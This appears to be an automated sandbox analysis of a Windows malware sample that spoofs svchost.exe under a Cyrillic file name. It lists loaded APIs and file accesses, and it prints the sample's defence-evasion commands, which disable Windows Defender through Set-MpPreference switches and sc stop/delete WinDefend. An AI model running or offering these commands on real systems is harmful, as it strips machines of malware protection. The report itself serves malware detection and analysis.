DynamicLoader: comctl32.dll/
DynamicLoader: ole32.dll/CoUninitialize
DynamicLoader: ole32.dll/CoGetMalloc
DynamicLoader: ole32.dll/CoTaskMemFree
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: ntdll.dll/RtlDllShutdownInProgress
DynamicLoader: LINKINFO.dll/IsValidLinkInfo
DynamicLoader: propsys.dll/
DynamicLoader: propsys.dll/PSGetNameFromPropertyKey
DynamicLoader: propsys.dll/PSStringFromPropertyKey
DynamicLoader: propsys.dll/InitVariantFromBuffer
DynamicLoader: OLEAUT32.dll/
DynamicLoader: propsys.dll/PropVariantToGUID
DynamicLoader: ole32.dll/PropVariantClear
DynamicLoader: propsys.dll/PSCreateMemoryPropertyStore
DynamicLoader: sechost.dll/ConvertSidToStringSidW
DynamicLoader: profapi.dll/
DynamicLoader: LINKINFO.dll/CreateLinkInfoW
DynamicLoader: USER32.dll/IsCharAlphaW
DynamicLoader: USER32.dll/CharPrevW
DynamicLoader: ntshrui.dll/GetNetResourceFromLocalPathW
DynamicLoader: srvcli.dll/NetShareEnum
DynamicLoader: cscapi.dll/CscNetApiGetInterface
DynamicLoader: slc.dll/SLGetWindowsInformationDWORD
DynamicLoader: SHLWAPI.dll/PathRemoveFileSpecW
DynamicLoader: LINKINFO.dll/DestroyLinkInfo
DynamicLoader: propsys.dll/PropVariantToBoolean
DynamicLoader: CRYPTSP.dll/CryptAcquireContextW
DynamicLoader: CRYPTSP.dll/CryptGenRandom
DynamicLoader: CRYPTSP.dll/CryptReleaseContext
DynamicLoader: ADVAPI32.dll/GetSecurityInfo
DynamicLoader: ADVAPI32.dll/SetSecurityInfo
DynamicLoader: ADVAPI32.dll/GetSecurityDescriptorControl
DynamicLoader: ole32.dll/CoRevokeInitializeSpy
DynamicLoader: comctl32.dll/
DynamicLoader: OLEAUT32.dll/
DynamicLoader: ADVAPI32.dll/RegOpenKeyExW
DynamicLoader: ADVAPI32.dll/RegQueryInfoKeyW
DynamicLoader: ADVAPI32.dll/RegEnumKeyExW
DynamicLoader: ADVAPI32.dll/RegEnumValueW
DynamicLoader: ADVAPI32.dll/RegCloseKey
DynamicLoader: ADVAPI32.dll/RegQueryValueExW
DynamicLoader: mscoree.dll/
DynamicLoader: ADVAPI32.dll/RegOpenKeyExW
DynamicLoader: ADVAPI32.dll/RegQueryValueExW
DynamicLoader: ADVAPI32.dll/RegCloseKey
DynamicLoader: mscoreei.dll/RegisterShimImplCallback
DynamicLoader: mscoreei.dll/RegisterShimImplCleanupCallback
DynamicLoader: mscoreei.dll/SetShellShimInstance
DynamicLoader: mscoreei.dll/OnShimDllMainCalled
DynamicLoader: mscoreei.dll/CorBindToRuntimeEx_RetAddr
DynamicLoader: mscoreei.dll/CorBindToRuntimeEx
DynamicLoader: SHLWAPI.dll/UrlIsW
DynamicLoader: kernel32.dll/GetCurrentPackageId
DynamicLoader: kernel32.dll/SetThreadUILanguage
DynamicLoader: kernel32.dll/CopyFileExW
DynamicLoader: kernel32.dll/IsDebuggerPresent
DynamicLoader: kernel32.dll/SetConsoleInputExeNameW
DynamicLoader: kernel32.dll/SortGetHandle
DynamicLoader: kernel32.dll/SortCloseHandle
DynamicLoader: cryptbase.dll/SystemFunction036
DynamicLoader: ole32.dll/CoCreateInstance
DynamicLoader: shell32.dll/
DynamicLoader: ole32.dll/CoGetApartmentType
DynamicLoader: ole32.dll/CoRegisterInitializeSpy
DynamicLoader: ole32.dll/CoTaskMemFree
DynamicLoader: comctl32.dll/
DynamicLoader: OLEAUT32.dll/
DynamicLoader: ole32.dll/CoTaskMemAlloc
DynamicLoader: ole32.dll/CoGetMalloc
DynamicLoader: ole32.dll/CoInitializeEx
DynamicLoader: ole32.dll/CreateBindCtx
DynamicLoader: ole32.dll/CoTaskMemAlloc
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: ADVAPI32.dll/RegEnumKeyW
DynamicLoader: OLEAUT32.dll/
DynamicLoader: ADVAPI32.dll/InitializeSecurityDescriptor
DynamicLoader: SETUPAPI.dll/CM_Get_Device_Interface_List_Size_ExW
DynamicLoader: ADVAPI32.dll/SetEntriesInAclW
DynamicLoader: ntmarta.dll/GetMartaExtensionInterface
DynamicLoader: ADVAPI32.dll/SetSecurityDescriptorDacl
DynamicLoader: ADVAPI32.dll/IsTextUnicode
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: shell32.dll/
DynamicLoader: SETUPAPI.dll/CM_Get_Device_Interface_List_ExW
DynamicLoader: comctl32.dll/
DynamicLoader: ole32.dll/CoUninitialize
DynamicLoader: ole32.dll/CoGetMalloc
DynamicLoader: ole32.dll/CoTaskMemFree
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: ntdll.dll/RtlDllShutdownInProgress
DynamicLoader: LINKINFO.dll/IsValidLinkInfo
DynamicLoader: propsys.dll/
DynamicLoader: propsys.dll/PSGetNameFromPropertyKey
DynamicLoader: propsys.dll/PSStringFromPropertyKey
DynamicLoader: propsys.dll/InitVariantFromBuffer
DynamicLoader: OLEAUT32.dll/
DynamicLoader: propsys.dll/PropVariantToGUID
DynamicLoader: ole32.dll/PropVariantClear
DynamicLoader: propsys.dll/PSCreateMemoryPropertyStore
DynamicLoader: sechost.dll/ConvertSidToStringSidW
DynamicLoader: profapi.dll/
DynamicLoader: LINKINFO.dll/CreateLinkInfoW
DynamicLoader: USER32.dll/IsCharAlphaW
DynamicLoader: USER32.dll/CharPrevW
DynamicLoader: ntshrui.dll/GetNetResourceFromLocalPathW
DynamicLoader: srvcli.dll/NetShareEnum
DynamicLoader: cscapi.dll/CscNetApiGetInterface
DynamicLoader: slc.dll/SLGetWindowsInformationDWORD
DynamicLoader: SHLWAPI.dll/PathRemoveFileSpecW
DynamicLoader: LINKINFO.dll/DestroyLinkInfo
DynamicLoader: propsys.dll/PropVariantToBoolean
DynamicLoader: CRYPTSP.dll/CryptAcquireContextW
DynamicLoader: CRYPTSP.dll/CryptGenRandom
DynamicLoader: CRYPTSP.dll/CryptReleaseContext
DynamicLoader: ole32.dll/CoRevokeInitializeSpy
DynamicLoader: comctl32.dll/
DynamicLoader: OLEAUT32.dll/
DynamicLoader: ADVAPI32.dll/RegOpenKeyExW
DynamicLoader: ADVAPI32.dll/RegQueryInfoKeyW
DynamicLoader: ADVAPI32.dll/RegEnumKeyExW
DynamicLoader: ADVAPI32.dll/RegEnumValueW
DynamicLoader: ADVAPI32.dll/RegCloseKey
DynamicLoader: ADVAPI32.dll/RegQueryValueExW
DynamicLoader: mscoree.dll/
DynamicLoader: ADVAPI32.dll/RegOpenKeyExW
DynamicLoader: ADVAPI32.dll/RegQueryValueExW
DynamicLoader: ADVAPI32.dll/RegCloseKey
DynamicLoader: mscoreei.dll/RegisterShimImplCallback
DynamicLoader: mscoreei.dll/RegisterShimImplCleanupCallback
DynamicLoader: mscoreei.dll/SetShellShimInstance
DynamicLoader: mscoreei.dll/OnShimDllMainCalled
DynamicLoader: mscoreei.dll/CorBindToRuntimeEx_RetAddr
DynamicLoader: mscoreei.dll/CorBindToRuntimeEx
DynamicLoader: SHLWAPI.dll/UrlIsW
DynamicLoader: kernel32.dll/GetCurrentPackageId
DynamicLoader: cryptbase.dll/SystemFunction036
DynamicLoader: ole32.dll/CoCreateInstance
DynamicLoader: shell32.dll/
DynamicLoader: ole32.dll/CoGetApartmentType
DynamicLoader: ole32.dll/CoRegisterInitializeSpy
DynamicLoader: ole32.dll/CoTaskMemFree
DynamicLoader: comctl32.dll/
DynamicLoader: OLEAUT32.dll/
DynamicLoader: ole32.dll/CoTaskMemAlloc
DynamicLoader: ole32.dll/CoGetMalloc
DynamicLoader: ole32.dll/CoInitializeEx
DynamicLoader: ole32.dll/CreateBindCtx
DynamicLoader: ole32.dll/CoTaskMemAlloc
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: ADVAPI32.dll/RegEnumKeyW
DynamicLoader: OLEAUT32.dll/
DynamicLoader: ADVAPI32.dll/InitializeSecurityDescriptor
DynamicLoader: ADVAPI32.dll/SetEntriesInAclW
DynamicLoader: ntmarta.dll/GetMartaExtensionInterface
DynamicLoader: ADVAPI32.dll/SetSecurityDescriptorDacl
DynamicLoader: SETUPAPI.dll/CM_Get_Device_Interface_List_Size_ExW
DynamicLoader: ADVAPI32.dll/IsTextUnicode
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: SETUPAPI.dll/CM_Get_Device_Interface_List_ExW
DynamicLoader: shell32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: ole32.dll/CoUninitialize
DynamicLoader: ole32.dll/CoGetMalloc
DynamicLoader: ole32.dll/CoTaskMemFree
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: ntdll.dll/RtlDllShutdownInProgress
DynamicLoader: LINKINFO.dll/IsValidLinkInfo
DynamicLoader: propsys.dll/
DynamicLoader: propsys.dll/PSGetNameFromPropertyKey
DynamicLoader: propsys.dll/PSStringFromPropertyKey
DynamicLoader: propsys.dll/InitVariantFromBuffer
DynamicLoader: OLEAUT32.dll/
DynamicLoader: propsys.dll/PropVariantToGUID
DynamicLoader: ole32.dll/PropVariantClear
DynamicLoader: propsys.dll/PSCreateMemoryPropertyStore
DynamicLoader: sechost.dll/ConvertSidToStringSidW
DynamicLoader: profapi.dll/
DynamicLoader: LINKINFO.dll/CreateLinkInfoW
DynamicLoader: USER32.dll/IsCharAlphaW
DynamicLoader: USER32.dll/CharPrevW
DynamicLoader: ntshrui.dll/GetNetResourceFromLocalPathW
DynamicLoader: srvcli.dll/NetShareEnum
DynamicLoader: cscapi.dll/CscNetApiGetInterface
DynamicLoader: slc.dll/SLGetWindowsInformationDWORD
DynamicLoader: SHLWAPI.dll/PathRemoveFileSpecW
DynamicLoader: LINKINFO.dll/DestroyLinkInfo
DynamicLoader: propsys.dll/PropVariantToBoolean
DynamicLoader: CRYPTSP.dll/CryptAcquireContextW
DynamicLoader: CRYPTSP.dll/CryptGenRandom
DynamicLoader: CRYPTSP.dll/CryptReleaseContext
DynamicLoader: ADVAPI32.dll/GetSecurityInfo
DynamicLoader: ADVAPI32.dll/SetSecurityInfo
DynamicLoader: ADVAPI32.dll/GetSecurityDescriptorControl
DynamicLoader: ole32.dll/CoRevokeInitializeSpy
DynamicLoader: comctl32.dll/
DynamicLoader: OLEAUT32.dll/
DynamicLoader: ADVAPI32.dll/RegOpenKeyExW
DynamicLoader: ADVAPI32.dll/RegQueryInfoKeyW
DynamicLoader: ADVAPI32.dll/RegEnumKeyExW
DynamicLoader: ADVAPI32.dll/RegEnumValueW
DynamicLoader: ADVAPI32.dll/RegCloseKey
DynamicLoader: ADVAPI32.dll/RegQueryValueExW
DynamicLoader: mscoree.dll/
DynamicLoader: ADVAPI32.dll/RegOpenKeyExW
DynamicLoader: ADVAPI32.dll/RegQueryValueExW
DynamicLoader: ADVAPI32.dll/RegCloseKey
DynamicLoader: mscoreei.dll/RegisterShimImplCallback
DynamicLoader: mscoreei.dll/RegisterShimImplCleanupCallback
DynamicLoader: mscoreei.dll/SetShellShimInstance
DynamicLoader: mscoreei.dll/OnShimDllMainCalled
DynamicLoader: mscoreei.dll/CorBindToRuntimeEx_RetAddr
DynamicLoader: mscoreei.dll/CorBindToRuntimeEx
DynamicLoader: SHLWAPI.dll/UrlIsW
DynamicLoader: kernel32.dll/GetCurrentPackageId
DynamicLoader: RPCRT4.dll/UuidFromStringW
DynamicLoader: RPCRT4.dll/RpcBindingCreateW
DynamicLoader: RPCRT4.dll/RpcBindingBind
DynamicLoader: sechost.dll/OpenSCManagerW
DynamicLoader: sechost.dll/OpenServiceW
DynamicLoader: sechost.dll/StartServiceW
DynamicLoader: sechost.dll/CloseServiceHandle
A process created a hidden window
Process: qcvzdK14aEZIbg.exe -> C:\ProgramData\\xd1\x80\xd0\xbe\xd0\xbf\xd1\x80\xd0\xa3\xd0\x92\xd0\xb0\xd0\xab\xd1\x81\xd0\xb5\xd0\xbd\xd0\xbe\xd1\x80\xd1\x85.exe
Process: ропрУВаЫсенорх.exe -> cmd.exe
Process: ропрУВаЫсенорх.exe -> cmd.exe
Process: ропрУВаЫсенорх.exe -> cmd.exe
Process: ропрУВаЫсенорх.exe -> cmd.exe
Process: ропрУВаЫсенорх.exe -> cmd.exe
Process: ропрУВаЫсенорх.exe -> cmd.exe
Process: ропрУВаЫсенорх.exe -> cmd.exe
Process: ропрУВаЫсенорх.exe -> cmd.exe
Process: ропрУВаЫсенорх.exe -> cmd.exe
Process: ропрУВаЫсенорх.exe -> cmd.exe
Process: ропрУВаЫсенорх.exe -> cmd.exe
Process: ропрУВаЫсенорх.exe -> cmd.exe
A scripting utility was executed
command: "C:\Windows\System32\cmd.exe" /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
command: cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
command: "C:\Windows\System32\cmd.exe" /c powershell Set-MpPreference -DisableBehaviorMonitoring $true
command: cmd.exe /c powershell Set-MpPreference -DisableBehaviorMonitoring $true
command: "C:\Windows\System32\cmd.exe" /c powershell Set-MpPreference -DisableBlockAtFirstSeen $true
command: cmd.exe /c powershell Set-MpPreference -DisableBlockAtFirstSeen $true
command: "C:\Windows\System32\cmd.exe" /c powershell Set-MpPreference -DisableIOAVProtection $true
command: cmd.exe /c powershell Set-MpPreference -DisableIOAVProtection $true
command: "C:\Windows\System32\cmd.exe" /c powershell Set-MpPreference -DisablePrivacyMode $true
command: cmd.exe /c powershell Set-MpPreference -DisablePrivacyMode $true
command: "C:\Windows\System32\cmd.exe" /c powershell Set-MpPreference -DisableIntrusionPreventionSystem $true
command: cmd.exe /c powershell Set-MpPreference -DisableIntrusionPreventionSystem $true
command: "C:\Windows\System32\cmd.exe" /c powershell Set-MpPreference -SevereThreatDefaultAction 6
command: cmd.exe /c powershell Set-MpPreference -SevereThreatDefaultAction 6
command: "C:\Windows\System32\cmd.exe" /c powershell Set-MpPreference -LowThreatDefaultAction 6
command: cmd.exe /c powershell Set-MpPreference -LowThreatDefaultAction 6
command: "C:\Windows\System32\cmd.exe" /c powershell Set-MpPreference -ModerateThreatDefaultAction 6
command: cmd.exe /c powershell Set-MpPreference -ModerateThreatDefaultAction 6
command: "C:\Windows\System32\cmd.exe" /c powershell Set-MpPreference -DisableScriptScanning $true
command: cmd.exe /c powershell Set-MpPreference -DisableScriptScanning $true
command: powershell Set-MpPreference -DisableRealtimeMonitoring $true
command: powershell Set-MpPreference -DisableBehaviorMonitoring $true
command: powershell Set-MpPreference -DisableBlockAtFirstSeen $true
command: powershell Set-MpPreference -DisableIOAVProtection $true
command: powershell Set-MpPreference -DisablePrivacyMode $true
command: powershell Set-MpPreference -DisableIntrusionPreventionSystem $true
command: powershell Set-MpPreference -SevereThreatDefaultAction 6
command: powershell Set-MpPreference -LowThreatDefaultAction 6
command: powershell Set-MpPreference -ModerateThreatDefaultAction 6
command: powershell Set-MpPreference -DisableScriptScanning $true
Uses Windows utilities for basic functionality
command: "C:\Windows\System32\cmd.exe" /c sc stop WinDefend
command: "C:\Windows\System32\cmd.exe" /c sc stop WinDefend
command: cmd.exe /c sc stop WinDefend
command: cmd.exe /c sc stop WinDefend
command: "C:\Windows\System32\cmd.exe" /c sc delete WinDefend
command: "C:\Windows\System32\cmd.exe" /c sc delete WinDefend
command: cmd.exe /c sc delete WinDefend
command: cmd.exe /c sc delete WinDefend
command: "C:\Windows\System32\cmd.exe" /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
command: cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
command: "C:\Windows\System32\cmd.exe" /c powershell Set-MpPreference -DisableBehaviorMonitoring $true
command: cmd.exe /c powershell Set-MpPreference -DisableBehaviorMonitoring $true
command: "C:\Windows\System32\cmd.exe" /c powershell Set-MpPreference -DisableBlockAtFirstSeen $true
command: cmd.exe /c powershell Set-MpPreference -DisableBlockAtFirstSeen $true
command: "C:\Windows\System32\cmd.exe" /c powershell Set-MpPreference -DisableIOAVProtection $true
command: cmd.exe /c powershell Set-MpPreference -DisableIOAVProtection $true
command: "C:\Windows\System32\cmd.exe" /c powershell Set-MpPreference -DisablePrivacyMode $true
command: cmd.exe /c powershell Set-MpPreference -DisablePrivacyMode $true
command: "C:\Windows\System32\cmd.exe" /c powershell Set-MpPreference -DisableIntrusionPreventionSystem $true
command: cmd.exe /c powershell Set-MpPreference -DisableIntrusionPreventionSystem $true
command: "C:\Windows\System32\cmd.exe" /c powershell Set-MpPreference -SevereThreatDefaultAction 6
command: cmd.exe /c powershell Set-MpPreference -SevereThreatDefaultAction 6
command: "C:\Windows\System32\cmd.exe" /c powershell Set-MpPreference -LowThreatDefaultAction 6
command: cmd.exe /c powershell Set-MpPreference -LowThreatDefaultAction 6
command: "C:\Windows\System32\cmd.exe" /c powershell Set-MpPreference -ModerateThreatDefaultAction 6
command: cmd.exe /c powershell Set-MpPreference -ModerateThreatDefaultAction 6
command: "C:\Windows\System32\cmd.exe" /c powershell Set-MpPreference -DisableScriptScanning $true
command: cmd.exe /c powershell Set-MpPreference -DisableScriptScanning $true
command: sc stop WinDefend
command: sc delete WinDefend
Attempts to stop active services
servicename: WinDefend
Spoofs its process name and/or associated pathname to appear as a legitimate process
original_path: C:\Windows\system32\svchost.exe
original_name: svchost.exe
modified_name: svchost.exe
modified_path: C:\ProgramData\\xd1\x80\xd0\xbe\xd0\xbf\xd1\x80\xd0\xa3\xd0\x92\xd0\xb0\xd0\xab\xd1\x81\xd0\xb5\xd0\xbd\xd0\xbe\xd1\x80\xd1\x85.exe
Creates a hidden or system file
file: C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF1c05047.TMP
file: C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF1c056bd.TMP
file: C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF1c05344.TMP
file: C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF1c05c1a.TMP
file: C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF1c055d3.TMP
file: C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF1c05cd5.TMP
file: C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF1c0604e.TMP
file: C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF1cdf3e5.TMP
Creates a copy of itself
copy: C:\ProgramData\\xd1\x80\xd0\xbe\xd0\xbf\xd1\x80\xd0\xa3\xd0\x92\xd0\xb0\xd0\xab\xd1\x81\xd0\xb5\xd0\xbd\xd0\xbe\xd1\x80\xd1\x85.exe
Attempts to disable Windows Defender

Screenshots


Hosts

No hosts contacted.

DNS

No domains contacted.


Summary

C:\Users\user\AppData\Local\Temp\qcvzdK14aEZIbg.exe
C:\ProgramData\\xd1\x80\xd0\xbe\xd0\xbf\xd1\x80\xd0\xa3\xd0\x92\xd0\xb0\xd0\xab\xd1\x81\xd0\xb5\xd0\xbd\xd0\xbe\xd1\x80\xd1\x85.exe
\??\MountPointManager
C:\Users\user\AppData\Roaming\Microsoft
C:\Users\user\AppData\Roaming\Microsoft\Crypto
C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA
C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-120665959-548228820-2376508522-1001
C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-120665959-548228820-2376508522-1001\f58155b4b1d5a524ca0261c3ee99fb50_fb20aa52-1ec9-4d1f-b923-f6709499e604
C:\Users\user\AppData\Local\Temp
C:\Users
C:\Users\user
C:\Users\user\AppData
C:\Users\user\AppData\Local
C:\Users\user\AppData\Local\Temp\sc.*
C:\Users\user\AppData\Local\Temp\sc
C:\Windows\sysnative\sc.*
C:\Windows\sysnative\sc.COM
C:\Windows\sysnative\sc.exe
C:\Windows\Globalization\Sorting\sortdefault.nls
C:\Users\user\AppData\Local\Temp\powershell.*
C:\Users\user\AppData\Local\Temp\powershell
C:\Windows\sysnative\powershell.*
C:\Windows\sysnative\powershell
C:\Windows\powershell.*
C:\Windows\powershell
C:\Windows\sysnative\wbem\powershell.*
C:\Windows\sysnative\wbem\powershell
C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.*
C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.COM
C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\sysnative\en-US\KERNELBASE.dll.mui
C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe
C:\Windows
C:\Windows\sysnative
C:\Windows\sysnative\WindowsPowerShell\v1.0
C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu
C:\
C:\Users\user\AppData\Local\Microsoft\Windows\Caches
C:\Users\user\AppData\Local\Microsoft\Windows\Caches\cversions.1.db
C:\Users\desktop.ini
C:\Users\user\AppData\Roaming
C:\Users\user\AppData\Roaming\Microsoft\desktop.ini
C:\Users\user\AppData\Roaming\Microsoft\Windows
C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini
C:\Users\user\Desktop\desktop.ini
::\
::\{2559A1F3-21D7-11D4-BDAF-00C04F60B9F0}
::\{20D04FE0-3AEA-1069-A2D8-08002B30309D}
::\{5399E694-6CE5-4D6C-8FCE-1D8870FDCBA0}
::\{2559A1F1-21D7-11D4-BDAF-00C04F60B9F0}
C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs
C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\desktop.ini
C:\ProgramData\Microsoft\Windows\Start Menu
C:\ProgramData
C:\ProgramData\Microsoft
C:\ProgramData\Microsoft\desktop.ini
C:\ProgramData\Microsoft\Windows
C:\ProgramData\Microsoft\Windows\Start Menu\desktop.ini
::\{ED228FDF-9EA8-4870-83B1-96B02CFE0D52}
C:\ProgramData\Microsoft\Windows\Start Menu\Programs
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\desktop.ini
C:\Users\user\Desktop
C:\Users\Public\Desktop
C:\Users\Public
C:\Users\Public\desktop.ini
C:\Users\Public\Desktop\desktop.ini
C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned
C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer
C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch
C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\desktop.ini
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
C:\Users\user\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk
C:\Windows\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk\desktop.ini
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Desktop.ini
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\desktop.ini
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk
\??\PIPE\srvsvc
C:\DosDevices\pipe\
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\
C:\Windows\sysnative\windowspowershell\v1.0\powershell_ise.exe
C:\Windows\sysnative\windowspowershell
C:\Windows\sysnative\WindowsPowerShell
C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell_ise.exe
C:\Windows\sysnative\WindowsPowerShell\v1.0\
C:\Windows\hh.exe
C:\Windows\
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\CDOLYY790C64OE64LHER.temp
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF1c05047.TMP
C:\Windows\sysnative\mscoree.dll.local
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll
C:\Windows\Microsoft.NET\Framework64\*
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\clr.dll
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\mscorwks.dll
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll
C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe.config
C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe.Local\
C:\Windows\winsxs\amd64_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.4940_none_88df89932faf0bf6
C:\Windows\winsxs\amd64_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.4940_none_88df89932faf0bf6\msvcr80.dll
C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x000000000000000d.db
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\2EGNJCI0BSCY3FTN3UDR.temp
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\HJXECHJHMG71XDJWL6S5.temp
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF1c056bd.TMP
C:\Windows\SysWOW64\propsys.dll
C:\Windows\sysnative\propsys.dll
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\SHLCWK96V2SBIL0118N4.temp
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF1c05344.TMP
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\G7KTEU21JYPO697T9XB5.temp
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF1c05c1a.TMP
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\XJPY4NZGKFGX8849470V.temp
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF1c055d3.TMP
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\JQTYDZ9OHJVW8O4XF2MT.temp
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF1c05cd5.TMP
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\LPH6LETUZ4A54V5MR3I9.temp
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF1c0604e.TMP
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\COJX61US4AS65IWHVSEF.temp
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\1MY6M6F4KE0RBLJF0Y76.temp
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF1cdf3e5.TMP
C:\Windows\sysnative\data\
C:\Windows\Temp
C:\Windows\sysnative\LogFiles\Scm\994c86ad-a929-4b2c-88a0-4e25a107a029
C:\Users\user\AppData\Local\Temp\qcvzdK14aEZIbg.exe
C:\ProgramData\\xd1\x80\xd0\xbe\xd0\xbf\xd1\x80\xd0\xa3\xd0\x92\xd0\xb0\xd0\xab\xd1\x81\xd0\xb5\xd0\xbd\xd0\xbe\xd1\x80\xd1\x85.exe
C:\Users\user\AppData\Roaming\Microsoft
C:\Users\user\AppData\Roaming\Microsoft\Crypto
C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA
C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-120665959-548228820-2376508522-1001
C:\Windows\Globalization\Sorting\sortdefault.nls
C:\Windows\sysnative\en-US\KERNELBASE.dll.mui
C:\
C:\Users\user\AppData\Local\Microsoft\Windows\Caches\cversions.1.db
C:\Users\desktop.ini
C:\Users
C:\Users\user
C:\Users\user\AppData
C:\Users\user\AppData\Roaming
C:\Users\user\AppData\Roaming\Microsoft\desktop.ini
C:\Users\user\AppData\Roaming\Microsoft\Windows
C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini
C:\Users\user\Desktop\desktop.ini
C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu
C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\desktop.ini
C:\ProgramData
